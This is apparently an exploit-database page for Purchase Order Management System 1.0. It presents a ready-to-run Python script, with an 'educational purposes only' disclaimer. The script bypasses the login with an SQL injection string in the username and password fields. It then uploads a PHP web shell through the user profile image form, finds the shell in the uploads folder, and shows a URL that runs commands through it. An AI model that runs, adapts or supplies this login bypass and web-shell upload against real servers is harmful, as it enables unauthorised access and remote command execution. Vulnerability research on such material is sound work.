Purchase order management system 1.0 remote file upload Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-09-14 | Type : webapps | Platform : php
This exploit / vulnerability Purchase order management system 1.0 remote file upload is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Purchase Order Management System 1.0 - Remote File Upload
# Date: 2021-09-14
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
# Version: v1.0
# Tested on: Windows 10 - XAMPP Server

# [ About the Purchase Order Management System ] :
#This Purchase Order Management System can store the list of all company's,
#suppliers for easily retrieving the suppliers' data upon generating the purchase order.
#It also stores the list of Items that the company possibly purchased from their suppliers.
#Both the mentioned features have CRUD (Create, Read, Update, and Delete) operations.
#Talking about generating the Purchase Order, the system can generate a printable Purchase Order Slip/Request.

#!/bin/env python3
import requests
import time
import sys
from colorama import Fore, Style
if len(sys.argv) !=2:
print ('''
###########################################################
#Purchase Order Management System 1.0 - Remote File Upload#
# BY:Aryan Chehreghani #
# Team:TAPESH DIGITAL SECURITY TEAM IRAN #
# mail:aryanchehreghani@yahoo.com #
# -+-USE:python script.py <target url> #
# [+]Example:python3 script.py http://127.0.0.1/ #
###########################################################
''')
else:
try:
url = sys.argv[1]
print()
print('[*] Trying to login...')
time.sleep(1)
login = url + '/classes/Login.php?f=login'
payload_name = "shell.php"
payload_file = r"""<?php @system($_GET['tapesh']); ?>"""
session = requests.session()
post_data = {"username": "'=''or'", "password": "'=''or'"}
user_login = session.post(login, data=post_data)
cookie = session.cookies.get_dict()

if user_login.text == '{"status":"success"}':
print('[' + Fore.GREEN + '+' + Style.RESET_ALL + ']' + ' Successfully Signed In!')
upload_url = url + "/classes/Users.php?f=save"
cookies = cookie
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------221231088029122460852571642112", "Origin": "http://localhost", "Connection": "close", "Referer": "http://localhost/leave_system/admin/?page=user"}
data = "-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nAdminstrator\r\n-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nAdmin\r\n-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin\r\n-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n-----------------------------221231088029122460852571642112\r\nContent-Disposition: form-data; name=\"img\"; filename=\"" + payload_name +"\"\r\nContent-Type: application/x-php\r\n\r\n\n " + payload_file + "\n\n\r\n-----------------------------221231088029122460852571642112--\r\n"
print('[*] Trying to shell...')
time.sleep(2)

try:
print('[' + Fore.GREEN + '+' + Style.RESET_ALL + ']' + ' Shell Uploaded!')
upload = session.post(upload_url, headers=headers, cookies=cookie, data=data)
upload_check = f'{url}/uploads'
r = requests.get(upload_check)
if payload_name in r.text:

payloads = r.text.split('<a href="')
for load in payloads:

if payload_name in load:
payload = load.split('"')
payload = payload[0]
else:
pass
else:
exit()

except:
print ("Upload failed try again\n")
exit()

try:
print("Check Your Target ;)\n")


except:
print("Failed to find shell\n")

else:
print("Login failed!\n")

except:
print("Something Went Wrong!\n")

#########################################################
#FILE LOCATION : http://localhost/purchase_order/uploads/1631583540_shell.php?tapesh=dir